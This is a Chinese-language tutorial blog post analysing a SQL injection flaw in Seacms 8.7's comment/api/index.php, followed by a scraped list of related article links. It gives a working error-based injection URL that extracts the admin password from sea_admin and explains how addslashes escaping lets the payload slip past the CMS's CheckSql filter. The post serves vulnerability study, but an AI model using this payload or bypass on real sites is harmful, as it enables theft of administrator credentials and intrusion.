有些小伙伴刚刚接触SQL编程,对SQL注入表示不太了解。其实在Web攻防中,SQL注入就是一个技能繁杂项,为了帮助大家能更好的理解和掌握,今天小编将要跟大家分享一下关于Seacms 8.7版本SQL注入分析的内容,一定要认真学习哦。

0x01环境

Web:phpstudy and MAMP

System:Windows 7 X64 and MacOS

Browser:Firefox Quantum and Chrome

MySQL:5.5

php:5.4

0x02漏洞详情

漏洞复现

payload:

http://10.211.55.4/upload/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

漏洞分析

之前在MySQL 5.6、5.7上面复现都不成功,因为这两个版本用extractvalue( )、updatexml( )报错注入不成功,后来换了系统Linux和Windows还有macOS来测试也是一样,和PHP、Apache的版本没有影响,还是MySQL的版本问题,所以大家测试的时候注意一下版本。

漏洞文件是在:comment/api/index.php

<?php
session_start();
require_once("../../include/common.php");
$id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
$page = (isset($page) && is_numeric($page)) ? $page : 1;
$type = (isset($type) && is_numeric($type)) ? $type : 1;
$pCount = 0;
$jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
//缓存第一页的评论
if($page<2)
{
if(file_exists($jsoncachefile))
{
$json=LoadFile($jsoncachefile);
die($json);
}
}
$h = ReadData($id,$page);
$rlist = array();
if($page<2)
{
createTextFile($h,$jsoncachefile);
}
die($h);
function ReadData($id,$page)
{
global $type,$pCount,$rlist;
$ret = array("","",$page,0,10,$type,$id);
if($id>0)
{
$ret[0] = Readmlist($id,$page,$ret[4]);
$ret[3] = $pCount;
$x = implode(',',$rlist);
if(!empty($x))
{
$ret[1] = Readrlist($x,1,10000);
}
}
$readData = FormatJson($ret);
return $readData;
}
function Readmlist($id,$page,$size)
{
global $dsql,$type,$pCount,$rlist;
$ml=array();
if($id>0)
{
$sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
$rs = $dsql ->GetOne($sqlCount);
$pCount = ceil($rs['dd']/$size);
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
$dsql->setQuery($sql);
$dsql->Execute('commentmlist');
while($row=$dsql->GetArray('commentmlist'))
{
$row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
$ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
}
$readmlist=join($ml,",");
return $readmlist;
}
function Readrlist($ids,$page,$size)
{
global $dsql,$type;
$rl=array();
$sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
$dsql->setQuery($sql);
$dsql->Execute('commentrlist');
while($row=$dsql->GetArray('commentrlist'))
{
$rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
}
$readrlist=join($rl,",");
return $readrlist;
}

传入$rlist的值为我们构造的SQL语句:

@`'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`'`

通过ReadData函数,implode处理后传入Readrlist函数。

可以看到执行的SQL语句是:

它在$dsql->Execute('commentrlist');这句的时候会有一个SQL的安全检测。

文件在include/sql.class.php的CheckSql函数

//完整的SQL检查
while (true)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

可以看到这里没有把我们的报错函数部分代入进去,如果代入进去检测的话就会在这里检测到:

后面$clean就是要送去检测的函数,通过一番处理后得到的值为:

后面返回来执行的SQL语句还是原样没动

以上基本分析就完成了。

最终执行的语句:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@`\'`, extractvalue(1, concat_ws(0x20, 0x5c,(select (password)from sea_admin))),@`\'`) ORDER BY id DESC

还有一些问题就是构造语句的问题。

刚开始传入的%27后面怎么变成了转义后的单引号?

require_once("../../include/common.php");就包含了这个文件,里面有一个_RunMagicQuotes函数,如果PHP配置没有开启get_magic_quotes_gpc就会用到这个函数,这个函数是把值经过addslashes函数的处理。此函数的作用是为所有的 ' (单引号), \" (双引号), \ (反斜线) and 空字符和以会自动转为含有反斜线的转义字符。

所以后面的SQL语句就会加上转义符号,然后经过CheckSql函数的时候就绕过了对报错语句的检测。

function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}

为什么要加上``两个反引号和@?

因in在MySQL里面用法是:

value1必须是一个值,整数型或者文本型都可以,如果用单引号的话就会变成三个转义\'\'\'

在MySQL上面是作为一个转义符号来使用,一般为了不让和系统的变量冲突所以使用,一般在数据库名、表名、字段名使用,所以这里用@来使这个成为一个变量类型。

后记

在6.53的版本中include/common.php中的44-47行接收到变量:

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}

但是在75行这里又重新赋值了:

require_once(sea_DATA."/config.cache.inc.php");

以上是今天的全部内容,大家学会了吗?

技能提升丨Seacms 8.7版本SQL注入分析的更多相关文章

  1. ThinkPHP最新版本SQL注入漏洞

    如下controller即可触发SQL注入: code 区域 public function test() { $uname = I('get.uname'); $u = M('user')-> ...

  2. 动态分析小示例| 08CMS SQL 注入分析

    i春秋作家:yanzm 0×00 背景 本周,拿到一个源码素材是08cms的,这个源码在官网中没有开源下载,需要进行购买,由某师傅提供的,审计的时候发现这个CMS数据传递比较复杂,使用静态分析的方式不 ...

  3. 动态调试|Maccms SQL 注入分析(附注入盲注脚本)

    0x01 前言 已经有一周没发表文章了,一个朋友叫我研究maccms的代码审计,碰到这个注入的漏洞挺有趣的,就在此写一篇分析文. 0x02 环境 Web: phpstudySystem: Window ...

  4. 通达OA<=11.5版本SQL注入——日程安排

    注入点产生位置

  5. ThinkPHP 5.0.x SQL注入分析

    前言 前段时间,晴天师傅在朋友圈发了一张ThinkPHP 注入的截图.最近几天忙于找工作的事情,没来得及看.趁着中午赶紧搭起环境分析一波.Think PHP就不介绍了,搞PHP的都应该知道. 环境搭建 ...

  6. Discuz 5.x/6.x/7.x投票SQL注入分析

    看乌云有人爆了这个漏洞:http://www.wooyun.org/bugs/wooyun-2014-071516感觉应该是editpost.inc.php里投票的漏洞.因为dz已经确定不会再修补7. ...

  7. sql注入分析

    输入 1:sql为:select * from users where id = 1; 输入'测试:回显:You have an error in your SQL syntax; check the ...

  8. 转:攻击JavaWeb应用[4]-SQL注入[2]

    转:http://static.hx99.net/static/drops/tips-288.html 攻击JavaWeb应用[4]-SQL注入[2] 园长 · 2013/07/18 17:23 注: ...

  9. Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴

    本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...

随机推荐

  1. Python web(Django)连接Sql server

    (开开心心每一天~ ---虫瘾师) Python Web(Django) 与SQL SERVRE的连接----Come QQ群:607021567(里面有很多开源代码和资料,并且python的游戏也有 ...

  2. client,server,nginx 在使用keepAlive 专题

    2. TCP keepalive overview In order to understand what TCP keepalive (which we will just call keepali ...

  3. Autopep8的使用

    什么是Autopep8 在python开发中, 大家都知道,python编码规范是PEP8,但是在市级开发中有的公司严格要求PEP8规范开发, 有的公司不会在乎那些,在我的理解中,程序员如果想走的更高 ...

  4. Eclipse报错Resource '/.org.eclipse.jdt.core.external.folders/.link5' already exists.

    Eclipse查看源码出现source not found,重新Build Path选择jdk的jar包时,出现Resource '/.org.eclipse.jdt.core.external.fo ...

  5. 究竟谁在绑架中国的4G政策?

    2009年中国正式发放3G牌照以来,尽管在开始阶段受到了应用不足的困扰,但是随着智 能手机的迅速推广,3G移动通信也开始在中国得到了飞速的发展.就在消费者以及市场 逐步接受并广泛应用该技术之际,4G通 ...

  6. 译MassTransit 创建消息消费者

    创建消息消费者一个消息消费者是一个 可以消费一个或多个消息类型的类,指定IConsumer<T>接口,T为消息类型 public class UpdateCustomerConsumer ...

  7. Linux运行firefox出错

    虚拟机自带的firefox版本太旧了,于是在官网上下载了最新的安装包,运行后提示: $ firefox XPCOMGlueLoad error for file /home/parallels/fir ...

  8. 原生JS和JQuery的区别

    1.原生js和jQuery的入口函数加载模式不同 原生js等页面dom加载完成并且图片等资源也加载完成之后才会执行: jQuery则是等页面dom加载完成执行,不会等图片等资源也加载完成: (也就是说 ...

  9. django(权限、认证)系统——User模型

    在Django的世界中,在权限管理中有内置的Authentication系统.用来管理帐户,组,和许可.还有基于cookie的用户session.这篇blog主要用来探讨这套内置的Authentica ...

  10. segment.go

    package sego // 文本中的一个分词 type Segment struct {     // 分词在文本中的起始字节位置     start int     // 分词在文本中的结束字节 ...